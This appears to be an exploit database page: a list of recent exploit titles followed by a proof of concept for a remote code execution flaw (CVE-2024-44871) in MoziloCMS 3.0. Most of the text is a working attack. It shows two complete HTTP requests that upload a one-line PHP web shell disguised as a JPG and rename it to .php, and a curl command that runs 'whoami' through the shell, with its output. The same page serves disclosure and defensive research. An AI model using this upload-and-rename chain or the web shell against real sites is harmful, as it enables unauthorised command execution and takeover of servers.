
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
128 lines
No EOL
3.8 KiB
Text
128 lines
No EOL
3.8 KiB
Text
# Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE)
|
|
# Date: 10/09/2024
|
|
# Exploit Author: Secfortress (https://github.com/sec-fortress)
|
|
# Vendor Homepage: https://mozilo.de/
|
|
# Software Link:
|
|
https://github.com/moziloDasEinsteigerCMS/mozilo3.0/archive/refs/tags/3.0.1.zip
|
|
# Version: 3.0
|
|
# Tested on: Debian
|
|
# Reference: https://vulners.com/cve/CVE-2024-44871
|
|
# CVE : CVE-2024-44871
|
|
|
|
"""
|
|
################
|
|
# Description #
|
|
################
|
|
|
|
MoziloCMS version 3.0 suffers from an arbitrary file upload vulnerability
|
|
in the component "/admin/index.php" which allows an authenticated attacker
|
|
to execute arbitrary code on the "Files" session by uploading a maliciously
|
|
crafted .JPG file and subsequently renaming its extension to .PHP using the
|
|
application's renaming function.
|
|
|
|
#####################
|
|
# PoC for webshell #
|
|
#####################
|
|
|
|
Steps to Reproduce:
|
|
|
|
1. Login as admin
|
|
2. Go to the Files session by the left menu
|
|
3. Create a .jpg file with it content having a php web shell
|
|
4. Upload the file to the server via the upload icon and save
|
|
5. Rename the file to .php on the web server and save
|
|
6. Access webshell via this endpoint :
|
|
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php
|
|
|
|
==========================
|
|
Request 1 => Upload File: #
|
|
==========================
|
|
|
|
POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
|
|
Firefox/115.0
|
|
Accept: text/html, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------186462060042780927583949521447
|
|
Content-Length: 607
|
|
Origin: http://127.0.0.1
|
|
DNT: 1
|
|
Connection: close
|
|
Referer:
|
|
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
|
|
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
|
|
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
|
|
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
|
|
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="curent_dir"
|
|
|
|
Willkommen
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="chancefiles"
|
|
|
|
true
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
files
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="files[]"; filename="revshell.jpg"
|
|
Content-Type: image/jpeg
|
|
|
|
<?=`$_GET[0]`?>
|
|
|
|
-----------------------------186462060042780927583949521447--
|
|
|
|
===========================
|
|
Request 2 => Rename File: #
|
|
===========================
|
|
|
|
POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
|
|
Firefox/115.0
|
|
Accept: text/html, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 98
|
|
Origin: http://127.0.0.1
|
|
DNT: 1
|
|
Connection: close
|
|
Referer:
|
|
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
|
|
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
|
|
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
|
|
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
|
|
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
action=files&newfile=revshell.php&orgfile=revshell.jpg&curent_dir=Willkommen&changeart=file_rename
|
|
|
|
|
|
####################
|
|
# Webshell access: #
|
|
####################
|
|
|
|
# Wenshell access via curl:
|
|
|
|
curl
|
|
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php?0=whoami
|
|
|
|
# Output:
|
|
|
|
www-data
|
|
|
|
""" |